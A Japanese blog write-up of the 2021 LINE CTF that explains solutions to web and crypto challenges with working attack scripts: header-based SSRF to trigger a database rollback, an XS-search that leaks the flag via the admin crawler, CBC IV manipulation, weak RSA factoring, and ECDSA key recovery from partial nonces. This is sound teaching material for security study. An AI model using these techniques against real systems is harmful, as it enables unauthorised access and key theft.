LoginSignup
1
1

More than 3 years have passed since last update.

LINE CTF write-up

Last updated at Posted at 2021-03-21

LINE株式会社主催のCTF。

既存のLINEのサイトからのリンクが見つからず、「本当にLINE主催なのか?」とちょっと心配だったけど、中の人がツイートしているので本当っぽい。宣伝が足りないかというとそんなことはなく、CTFtimeに載せていたので充分なのでしょう。日本語が併記されているわけでもなく、簡単な問題も少なく、初心者を呼び込んでもしょうがない感がある。

注意書きに、「代表者が反社かどうかscreeningをperformするぞ」と書かれていてしっかりしている。

スコアサーバーのデザインがLINE風ですごい……が、解いたチーム一覧を見る必要はそんなに無いし、問題文が見づらいし、問題の一覧をまとめて見られないし、不便だぞ……。

image.png

superflipは350点で29位。

image.png

50点になった問題しか解けていない。しかし、本当に簡単な問題しか解けていないかというとそんなことはなく、解いたチーム数に対して点数の減少が急すぎるんだよな。「Your Note」は正解22チームで50点。50点の問題と300点以上の問題しか無くなっている。

REV

2問あってどちらも解けていない。

Sakura

ブロックチェーンのスマートコントラクト。スマートコントラクト問、いつかは通したい。

PWN

問題がいっぱいあったけど解けていない。Linuxカーネルとか、wasmとか、ChromiumのJavaScriptエンジンとか。いつかは解きたい。

WEB

Welcome

LINECTF{welcome_to_linectf}

diveinternal

Target the server's internal entries, access admin, and roll back.

コンテナがいっぱいあってややこしい。それぞれがやっていることもややこしい。

image.png

問題文に書かれているように、privateの中のPythonアプリでDBのロールバックを実行させれば勝ち。ロールバックをさせるためには、DBをバックアップした上で、privateの/rollbackを今のDBとは異なるハッシュ値をdbhashパラメタにして叩けば良い。もちろんprivateのAPIは直接は叩けない。

nginxのコンテナの中のnginxにLuaスクリプトが書かれていて、最初はその辺に何かあるのかと思った。でも、これは本当にログを取りたかっただけっぽい。

脆弱性は、privateのPythonアプリのここ。

main.py
 :
def LanguageNomarize(request):
    if request.headers.get('Lang') is None:
        return "en"
    else:
        regex = '^[!@#$\\/.].*/.*' # Easy~~
        language = request.headers.get('Lang')
        language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
        if re.search(regex,language):
            return request.headers.get('Lang')

        try:
            data = requests.get(request.host_url+language, headers=request.headers)
            if data.status_code == 200:
                return data.text
            else:
                return request.headers.get('Lang')
        except:
            return request.headers.get('Lang')
 :
@app.route('/coin', methods=['GET'])
def coin():
    try:
        response = app.response_class()
        language = LanguageNomarize(request)
        response.headers["Lang"] =  language
        data = getCoinInfo()
        response.data = json.dumps(data)
        return response
    except Exception as e :
        err = 'Error On  {f} : {c}, Message, {m}, Error on line {l}'.format(f = sys._getframe().f_code.co_name ,c = type(e).__name__, m = str(e), l = sys.exc_info()[-1].tb_lineno)
        logger.error(err)
 :

なお、nginxコンテナのnginxの設定は、

nginx.conf
 :
    location / {
        proxy_pass http://public:3000; 

        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';

        proxy_set_header Host $http_host;
        proxy_cache_bypass $http_upgrade;       

    }
 :

で、publicのnodeアプリでは以下のようになっているので、HostHTTPヘッダは伝わる。

apis.js
 :
router.get('/coin', function(req, res, next) {
  request({
        headers: req.headers,
        uri: `http://${target}/coin`,
      }).pipe(res);
  });

  router.get('/addsub', function(req, res, next) {
    request({

          uri: `http://${target}/addsub`,
          qs: {
            email: req.query.email,
          }
        }).pipe(res);
    });
 :

/addsubにはheadersが無いのも怪しい。

sign.py
import hmac, hashlib

print("src", hmac.new(b"let'sbitcorinparty", b"src=http://private:5000/jp?/fyapxq1118p2nchc", hashlib.sha512).hexdigest())
print("dbhash", hmac.new(b"let'sbitcorinparty", b"dbhash=fyapxq1118p2nchc", hashlib.sha512).hexdigest())

で、Signの値を求めて、

attack.sh
curl -v -sS \
  -H 'Host: localhost:5000' \
  -H 'Lang: download?src=http://private:5000/jp?/fyapxq1118p2nchc' \
  -H 'Sign: 0fcff708f4fe37b4652ed2dd2bf9c3784eb2e168555c4d9a6fa18e9d1a4f51199ac9db7d029d9cec804a6c3960ca486de3e318cda16bbd8e3920da6464a57114' \
  http://35.190.234.195/apis/coin

dbhash=$(
  curl -v -sS \
    -H 'Host: localhost:5000' \
    -H 'Lang: integrityStatus' \
    http://35.190.234.195/apis/coin 2>&1 |
  grep -oP '[0-9a-z]{32}')
key=$(echo -n $dbhash | sha512sum | cut -d\  -f1)

curl -v -sS \
  -H 'Host: localhost:5000' \
  -H 'Lang: rollback?dbhash=fyapxq1118p2nchc' \
  -H 'Sign: 0606988cd44ae01786b3ffb3b78a47313ea2ee2191f74a6f76477a03b167ab150627d032d14de1677ede5304c9bae861fca47ab86e4fa3c2961c46c702c316c9' \
  -H "Key: ${key}" \
  http://35.190.234.195/apis/coin

で解けた。

$ bash attack.sh
 :
> GET /apis/coin HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.58.0
> Accept: */*
> Lang: download?src=http://private:5000/jp?/fyapxq1118p2nchc
> Sign: 0fcff708f4fe37b4652ed2dd2bf9c3784eb2e168555c4d9a6fa18e9d1a4f51199ac9db7d029d9cec804a6c3960ca486de3e318cda16bbd8e3920da6464a57114
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.2
< Date: Sat, 20 Mar 2021 16:55:27 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 182
< Connection: keep-alive
< X-Powered-By: Express
< lang: {"message": "success"}
 :
> GET /apis/coin HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.58.0
> Accept: */*
> Lang: rollback?dbhash=fyapxq1118p2nchc
> Sign: 0606988cd44ae01786b3ffb3b78a47313ea2ee2191f74a6f76477a03b167ab150627d032d14de1677ede5304c9bae861fca47ab86e4fa3c2961c46c702c316c9
> Key: 1c7df85d2661b2182f03517a368493c02b31dc1da0ff49762854f62c4ef1a9d379b6efdc458852f89a0bf889e26cca4e9582415f532f39b6ba327d01f7ae6570
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.2
< Date: Sat, 20 Mar 2021 16:55:27 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 182
< Connection: keep-alive
< X-Powered-By: Express
< lang: LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}
 :

LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}

Your Note

プライベートなノートを投稿できるアプリ。管理者にURLを通報できる。

XSSを探したけど見当たらないし、考えてみれば、そもそも管理者といえども私が投稿したノートは見られないのだった。

ノートの検索結果にダウンロードリンクがあって、検索結果が0件だとウェブページが表示されるけど、検索結果が1件以上だとJSONがダウンロードされる。ファイルがダウンロードされる場合は管理者のクローラーが失敗する。これでフラグを1文字ずつ探索できる。

URL通報にはproof of workが要求されるものの、これは自動化すれば良い。proof of workが23ビット分要求されるので10秒くらい掛かるし、問題サーバーが不安定だしで辛かった。終盤にこのproof of workが10ビット分に変更された。起きていて良かった。

attack.py
import requests
import re
import pwn

#host = "http://34.84.94.138/"
#session = "189cd4cb-c59e-4d18-a574-9a01403cece5"

host = "http://35.200.11.35"
session = "5b7207a0-6b86-4fe7-a12a-50fa3c221f71"

#host = "http://34.84.72.167/"
#session = "ea7064c4-5cec-44d5-836a-89b621aa442a"

def check(flag):
  r = requests.get(host+"/report", cookies={"session": session})
  r = r.text
  csrf = re.search(r'name="csrf_token" value="(.*?)"/>', r).group(1)
  pow = re.search(r"<br>proof-of-work (.*?) 10", r).group(1)
  s = pwn.process("proof-of-work %s 10"%pow, shell=True)
  ans = s.read().decode()
  s.close()
  print(ans)

  r = requests.post(host+"/report", cookies={"session": session},
    data={"csrf_token": csrf, "url": host+"/search?download=&q="+flag, "proof": ans})
  r = r.text
  if "Report Bug" not in r:
    print(r)
    raise "error"
  return "Thank you for the report!" not in r

flag = "LINECTF{1-kn0w-what-y0u-d0"
while True:
  for a in "-0123456789abcdefghijklmnopqrstuvwxyz}":
    print(flag+a)
    if check(flag+a):
      flag += a
      break
  else:
    break

この検索がヒットしたかどうかの挙動の変化で非公開ツイートの内容が読めるという脆弱性がTwitterにあったらしい。実用になるかどうかはともかく。

LINECTF{1-kn0w-what-y0u-d0wn10ad}

CRY

babycrypto1

babycrypto1.py
 :
flag = open("flag", "rb").read().strip()

COMMAND = [b'test',b'show']

def run_server(client, aes_key, token):
    client.send(b'test Command: ' + AESCipher(aes_key).encrypt(token+COMMAND[0]) + b'\n')
    client.send(b'**Cipher oracle**\n')
    client.send(b'IV...: ')
    iv = b64decode(client.recv(1024).decode().strip())
    client.send(b'Message...: ')
    msg = b64decode(client.recv(1024).decode().strip())
    client.send(b'Ciphertext:' + AESCipher(aes_key).encrypt_iv(msg,iv) + b'\n\n')
    while(True):
        client.send(b'Enter your command: ')
        tt = client.recv(1024).strip()
        tt2 = AESCipher(aes_key).decrypt(tt)
        client.send(tt2 + b'\n')
        if tt2 == token+COMMAND[1]:
            client.send(b'The flag is: ' + flag)
            client.close()
            break
 :
if __name__ == '__main__':
 :
        aes_key = get_random_bytes(AES.block_size)
        token = b64encode(get_random_bytes(AES.block_size*10))[:AES.block_size*10]

        process = multiprocessing.Process(target=run_server, args=(client, aes_key, token))
 :

token+b'show'を暗号化したものを送れば良い。IVと平文を指定して暗号化してくれて、tokenb'show'の切れ目がAESブロックの境界なので、1個前の暗号文をIVとして暗号化してもらえば良い。CBCの仕組みを知っていますか?という問題。

attack.py
from pwn import *

from base64 import b64decode, b64encode

s = remote("35.200.115.41", 16001)

s.recvuntil("test Command: ")
test = b64decode(s.recvline()[:-1])

s.sendlineafter("IV...: ", b64encode(test[-32:-16]))
s.sendlineafter("Message...: ", b64encode(b"show"))
s.recvuntil("Ciphertext:")
cipher = b64decode(s.recvline()[:-1])

s.sendlineafter("Enter your command: ", b64encode(test[:-16]+cipher[-16:]))
print(s.recvuntil("}").decode())
$ python3 attack.py
[+] Opening connection to 35.200.115.41 on port 16001: Done
tNHbcTIVXeqIxFpPa3KsARCaSL51x1xxxvYodbzhETk5oRVrJQ0TZapBM2UV4tlCg4CPkQZlnZJZbDqglOhTksfIoF7PbVGG4/1P5gkEsGzmDiCGVSKy4x9l9PXUQTQ5GxXPSFrNeBdISvGsckATiXvTTQ4Ajpuwshow
The flag is: LINECTF{warming_up_crypto_YEAH}

LINECTF{warming_up_crypto_YEAH}

babycrypto2

babycrypto2.py
 :
flag = open("flag", "rb").read().strip()

AES_KEY = get_random_bytes(AES.block_size)
TOKEN = b64encode(get_random_bytes(AES.block_size*10-1))
COMMAND = [b'test',b'show']
PREFIX = b'Command: '

def run_server(client):
    client.send(b'test Command: ' + AESCipher(AES_KEY).encrypt(PREFIX+COMMAND[0]+TOKEN) + b'\n')
    while(True):
        client.send(b'Enter your command: ')
        tt = client.recv(1024).strip()
        tt2 = AESCipher(AES_KEY).decrypt(tt)
        client.send(tt2 + b'\n')
        if tt2 == PREFIX+COMMAND[1]+TOKEN:
            client.send(b'The flag is: ' + flag)
            client.close()
            break
 :

似たような問題。暗号化機能が無くなり、tokenが後ろに付くようになった。CBCならば、IVを1ビット反転させると、平文の先頭ブロックの対応する1ビットが反転する。後続には影響無し。暗号は内容を秘匿するためのものであって、改竄を防ぐためのものではない。

attack.py
from pwn import *

from base64 import b64decode, b64encode

s = remote("35.200.39.68", 16002)

s.recvuntil("test Command: ")
test = b64decode(s.recvline()[:-1])

def xor(A, B):
  return bytes([a^b for a, b in zip(A, B)])

show = test
show = xor(show[:16], xor(b"Command: test___", b"Command: show___"))+show[16:]
s.sendlineafter("Enter your command: ", b64encode(show))
print(s.recvuntil("}").decode())
$ python3 attack.py
[+] Opening connection to 35.200.39.68 on port 16002: Done
Command: showZzTosTPcUnBu44roqYGeyIjyJ22OoYp66c67bitZZthoRjCwTC9sW5jOFkVqW7WlMwJqI5Y+eJtxCkY4lkVkX3vzdDSkPtwB1FOrfHWPeGq4jOeprbrqhtcQzRdUsukyF1YdRzzZ8ezm2g82ydjFYcDrkfzk3ZQOzx0CpVulL80HGbwsB6amUMsmmVsC4jULWpg66++vj30B6p/aKGbh
The flag is: LINECTF{echidna_kawaii_and_crypto_is_difficult}

LINECTF{echidna_kawaii_and_crypto_is_difficult}

babycrypto3

ciphertext.txtとpub.pemが与えられる。

$ openssl rsa -pubin -text < pub.pem
RSA Public-Key: (394 bit)
Modulus:
    03:28:b1:41:39:a2:e5:4b:88:a4:66:2f:1a:67:cc:
    3a:cd:19:29:c9:b6:27:94:bb:64:91:6a:ff:02:99:
    1f:80:45:6e:4d:0e:ed:4d:59:1d:f7:70:8d:5a:f2:
    e9:b4:fb:56:89
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
ME0wDQYJKoZIhvcNAQEBBQADPAAwOQIyAyixQTmi5UuIpGYvGmfMOs0ZKcm2J5S7
ZJFq/wKZH4BFbk0O7U1ZHfdwjVry6bT7VokCAwEAAQ==
-----END PUBLIC KEY-----

394bit RSA。素因数分解できるか……? 他の問題を解きながらMsieveを動かしていたけれど、全然答えが出てこない。

RsaCtfToolに投げたら一瞬で答えが出てきた。

RsaCtfTool$ python3 RsaCtfTool.py --publickey ../pub.pem --uncipherfile ../ciphertext.txt
private argument is not set, the private key will not be displayed, even if recovered.

[*] Testing key ../pub.pem.
[*] Performing factordb attack on ../pub.pem.

Results for ../pub.pem:

Unciphered data :
HEX : 0x00026067ff851ecdcb61e50b83a515e3005130785055306c4f527942555345556752456c545645464f5130557543673d3d0a
INT (big endian) : 93642291186863225015737472848315771398135057931473251341587231211471564868517709899464755625073676430723959035346186
INT (little endian) : 103282109084838500432492642512020353948670062101186628291674723746246989709418757052122829802325798084932713167175287296
STR : b'\x00\x02`g\xff\x85\x1e\xcd\xcba\xe5\x0b\x83\xa5\x15\xe3\x00Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==\n'
$ echo "Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==" | base64 -d
CLOSING THE DISTANCE.

RsaCtfToolすごいなぁという単純な話ではなく、コンテスト終了後のDiscordによると、RsaCtfToolは http://factordb.com/ から検索する機能もあって、コンテスト中にここに素因数分解結果が登録されたかららしい。

31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337
= 291664785919250248097148750343149685985101
* 109249057662947381148470526527596255527988598887891132224092529799478353198637

で、桁数に偏りがある(普通にRSAの合成数を計算したらこうはならない)から、力技で殴ればギリギリ何とかなるのか?

LINECTF{CLOSING THE DISTANCE.}

babycrypto4

Our side-channel attack about ECDSA was quite successful.

We could capture the first 16-bit of the nonces,
which is the first half of them.

Now find out the encryption key.

The victim is using the secp160r1 curve.

The following is the captured data: r, s, k, and hash respectively.

nonce($k$)は普通はn未満の整数からランダムに選ぶ。これが32bitしかない。しかも16bitが分かっているので残りは全探索できる。$k$が分かれば、ECDSAにおいて、$s=k^{-1}(z+rd_A) \mod n$なので、$d_A=(sk-z)r^{-1} \mod n$である。$z$は問題文のhash。なぜ、これらの値の組が20個も与えられているのだろう。1個で充分。てっきり最後に中国剰余定理を使うのかと思った。

solve.py
p = 0xffffffffffffffffffffffffffffffff7fffffff
a = 0xffffffffffffffffffffffffffffffff7ffffffc
b = 0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45
G = (0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
n = 0x0100000000000000000001f4c8f927aed3ca752257

r = 0x92acb929727872bc1c7a5f69c1c3c97ae1c333e2
s = 0xe060459440ebc11a7cd811a66a341f095f5909e5
k0 = 0xef2b0000
hash = 0x68e548ef4984f6e7d05cbcea4fc7c83393806bbf

def add(A, B):
  if A==(0, 0):
    return B
  if B==(0, 0):
    return A
  x1, y1 = A
  x2, y2 = B
  if A!=B:
    phi = (y2-y1)*pow(x2-x1, p-2, p)
  else:
    phi = (3*x1*x1+a)*pow(2*y1, p-2, p)
  x3 = phi**2-x1-x2
  y3 = phi*(x1-x3)-y1
  return (x3%p, y3%p)

def mul(k, X):
  X2 = X
  A = (0, 0)
  while k>0:
    if k%2!=0:
      A = add(A, X2)
    k //= 2
    X2 = add(X2, X2)
  return A

X = mul(k0, G)
for k in range(k0, k0+0x10000):
  if X[0]==r:
    dA = (s*k-hash)*pow(r, n-2, n)%n
    print(hex(dA))
    break
  X = add(X, G)
$ python3 solve.py
0xc02d451ad3c1ac6b612a759a92b770dd3bca36e

LINECTF{c02d451ad3c1ac6b612a759a92b770dd3bca36e}

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1